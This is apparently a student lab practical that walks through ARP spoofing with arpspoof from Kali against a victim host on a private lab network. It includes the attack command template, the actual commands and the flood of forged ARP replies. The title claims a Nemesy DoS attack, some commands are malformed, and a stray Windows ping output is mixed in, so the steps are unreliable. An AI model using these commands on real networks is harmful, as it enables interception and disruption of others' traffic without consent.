

## PRACTICAL NO. 5(B)

### b) Use Nemesy to launch DoS attack

1. check the target ip address ipconfig 192.168.64.135 & ) check the attacker ip 192.168..64.2  
Also know the attacker net interface using ifconfig finded eth0

```
(virus@kali)-[~]  
$ sudo apt install dsniff  
[sudo] password for virus:  
Reading package lists... Done  
Building dependency tree... Done  
Reading state information... Done  
dsniff is already the newest version (2.4b1+debian-31).  
0 upgraded, 0 newly installed, 0 to remove and 522 not upgraded.  
  
(virus@kali)-[~]
```

2. Install dsniff using sudo apt-get install dsniff
3. enable port forwarding `echo > 1 /proc/sys/net/ipv4/ip_forward`

```
(virus@kali)-[~]  
$ echo > 1 /proc/sys/net/ipv4/ip_forward  
  
(virus@kali)-[~]  
$ ifconfig  
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu  
    inet 192.168.64.129 netmask 255.255.255.0 b  
    inet6 fe80::20c:29ff:feaa:7d04 prefixlen 64  
    ether 00:0c:29:aa:7d:04 txqueuelen 1000 (Et  
RX packets 95461 bytes 132302572 (126.1 MiB)  
RX errors 124 dropped 0 overruns 0 frame 0  
TX packets 35795 bytes 2763894 (2.6 MiB)  
TX errors 0 dropped 0 overruns 0 carrier 0  
device interrupt 19 base 0x2000
```

```

255.255.255.255      tt-tt-tt-tt-tt-tt      static

C:\Users\Lenovo>ping google.com

Pinging google.com [142.250.66.14] with 32 bytes of data:
Reply from 142.250.66.14: bytes=32 time=19ms TTL=128
Reply from 142.250.66.14: bytes=32 time=11ms TTL=128
Reply from 142.250.66.14: bytes=32 time=11ms TTL=128
Reply from 142.250.66.14: bytes=32 time=3ms TTL=128

Ping statistics for 142.250.66.14:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
    Approximate round trip times in milli-seconds:
        Minimum = 3ms, Maximum = 19ms, Average = 11ms

```

4. check the victim internet connection is on using ping google.com

```

(virus@kali)-[~]
$ arpspoof -i eth0 -t 192.168.64.135 -r 192.168.64.2
arpspoof: libnet_open_link(): UID/EUID 0 or capability CAP_NET_RAW required

```

5. After everything is set you are ready to launch the attack, the command structure is arpspoof -i [your internet interface] -t [target IP address] -r [gateway IP address] , for the example this is mine *arpspoof -i wlan0 -t 192.168.90.252 -r 192.168.90.1*

```

(virus@kali)-[~]
$ sudo -s arpspoof -i eth0 -t 192.168.64.135 -r 192.168.64.2
:c:29:aa:7d:4 0:c:29:25:3:3d 0806 42: arp reply 192.168.64.2 is-at 0:c:29:aa:7d:4
:c:29:aa:7d:4 0:50:56:f2:d8:f0 0806 42: arp reply 192.168.64.135 is-at 0:c:29:aa:7d:4
:c:29:aa:7d:4 0:c:29:25:3:3d 0806 42: arp reply 192.168.64.2 is-at 0:c:29:aa:7d:4
:c:29:aa:7d:4 0:50:56:f2:d8:f0 0806 42: arp reply 192.168.64.135 is-at 0:c:29:aa:7d:4
:c:29:aa:7d:4 0:c:29:25:3:3d 0806 42: arp reply 192.168.64.2 is-at 0:c:29:aa:7d:4
:c:29:aa:7d:4 0:50:56:f2:d8:f0 0806 42: arp reply 192.168.64.135 is-at 0:c:29:aa:7d:4
:c:29:aa:7d:4 0:c:29:25:3:3d 0806 42: arp reply 192.168.64.2 is-at 0:c:29:aa:7d:4
:c:29:aa:7d:4 0:50:56:f2:d8:f0 0806 42: arp reply 192.168.64.135 is-at 0:c:29:aa:7d:4
:c:29:aa:7d:4 0:c:29:25:3:3d 0806 42: arp reply 192.168.64.2 is-at 0:c:29:aa:7d:4
:c:29:aa:7d:4 0:50:56:f2:d8:f0 0806 42: arp reply 192.168.64.135 is-at 0:c:29:aa:7d:4
:c:29:aa:7d:4 0:c:29:25:3:3d 0806 42: arp reply 192.168.64.2 is-at 0:c:29:aa:7d:4
:c:29:aa:7d:4 0:50:56:f2:d8:f0 0806 42: arp reply 192.168.64.135 is-at 0:c:29:aa:7d:4
:c:29:aa:7d:4 0:c:29:25:3:3d 0806 42: arp reply 192.168.64.2 is-at 0:c:29:aa:7d:4
:c:29:aa:7d:4 0:50:56:f2:d8:f0 0806 42: arp reply 192.168.64.135 is-at 0:c:29:aa:7d:4
:c:29:aa:7d:4 0:c:29:25:3:3d 0806 42: arp reply 192.168.64.2 is-at 0:c:29:aa:7d:4
:c:29:aa:7d:4 0:50:56:f2:d8:f0 0806 42: arp reply 192.168.64.135 is-at 0:c:29:aa:7d:4
:c:29:aa:7d:4 0:c:29:25:3:3d 0806 42: arp reply 192.168.64.2 is-at 0:c:29:aa:7d:4
:c:29:aa:7d:4 0:50:56:f2:d8:f0 0806 42: arp reply 192.168.64.135 is-at 0:c:29:aa:7d:4
:c:29:aa:7d:4 0:c:29:25:3:3d 0806 42: arp reply 192.168.64.2 is-at 0:c:29:aa:7d:4
:c:29:aa:7d:4 0:50:56:f2:d8:f0 0806 42: arp reply 192.168.64.135 is-at 0:c:29:aa:7d:4

```

6. After the attack launched its show like that

**Conclusion :-** Above practical was successfully executed